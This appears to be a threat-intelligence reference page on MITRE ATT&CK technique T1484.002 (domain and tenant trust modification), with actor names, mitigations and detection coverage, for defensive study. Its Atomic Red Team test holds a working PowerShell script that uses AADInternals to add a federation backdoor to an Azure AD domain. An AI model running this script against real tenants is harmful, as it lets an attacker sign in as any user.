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ATT&CK Technique

Trust Modification

T1484.002 · defense-impairment, privilege-escalation

Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources. These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control.

For example, in Microsoft Active Directory (AD) environments, this may be used to forge SAML Tokens without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.

An adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant. This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.

Identity ProviderWindows
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Actors Using This

2
russiaAPT29
predominantly_english_speaking_youth_organized_crimeLAPSUS$
▸

Atomic Tests

1
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellazure-adAdd Federation to Azure AD
Add a new federated domain to Azure AD using PowerShell. The malicious domain to be federated must be configured beforehand (outside of the scope of this test): 1. Open Azure Portal 2. Add a new "custom domain name" 3. Verify the domain by following instructions (i.e. create the requested DNS record) 
Import-Module AzureAD
Import-Module AADInternals

$PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword

try {
  Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null
}
catch {
  Write-Host "Error: AzureAD could not connect"
  exit 1
}

try {
  $domain = Get-AzureADDomain -Name "#{domain_name}"
}
catch {
  Write-Host "Error: domain ""#{domain_name}"" not found"
  exit 1
}
if (-Not $domain.IsVerified) {
  Write-Host "Error: domain ""#{domain_name}"" not verified"
  exit 1
}

if ($domain.AuthenticationType -eq "Federated") {
  Write-Host "Error: domain ""#{domain_name}"" already federated. Try with a different domain or re-create it before."
  exit 1
}

$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential
if (-Not $at) {
  Write-Host "Error: AADInternals could not connect"
  exit 1
}

$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "#{domain_name}"
if ($new) {
  Write-Host "Federation successfully added to Azure AD"
  Write-Host $new
}
else {
  Write-Host "The federation setup failed"
}

Write-Host "End of federation configuration."
▣

Mitigations

2
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1018User Account Management

User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies.

Enforcing the Principle of Least Privilege
  • Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.
  • Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions. Implementing Strong Password Policies.
  • Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.
  • Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks. Managing Dormant and Orphaned Accounts.
  • Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.
  • Use Case: Eliminates dormant accounts that could be exploited by attackers. Account Lockout Policies.
  • Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.
  • Use Case: Mitigates automated attack techniques that rely on repeated login attempts. Multi-Factor Authentication (MFA) for High-Risk Accounts.
  • Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.
  • Use Case: Prevents unauthorized access, even if credentials are stolen. Restricting Interactive Logins.
  • Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.
  • Use Case: Protects sensitive accounts from misuse or exploitation.
Tools for Implementation Built-in Tools
  • Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.
  • Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.
Identity and Access Management (IAM) Tools
  • Okta: Centralized user provisioning, MFA, and SSO integration.
  • Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.
Privileged Account Management (PAM)
  • CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.
M1026Privileged Account Management

Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.

Account Permissions and Roles
  • Implement RBAC and least privilege principles to allocate permissions securely.
  • Use tools like Active Directory Group Policies to enforce access restrictions.
Credential Security
  • Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.
  • Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).
Multi-Factor Authentication (MFA)
  • Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.
Privileged Access Management (PAM)
  • Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.
Auditing and Monitoring
  • Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.
Just-In-Time Access
  • Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.
Tools for Implementation Privileged Access Management (PAM)
  • CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.
Credential Management
  • Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.
Multi-Factor Authentication
  • Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.
Linux Privilege Management
  • sudo configuration, SELinux, AppArmor.
Just-In-Time Access
  • Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.
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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 1
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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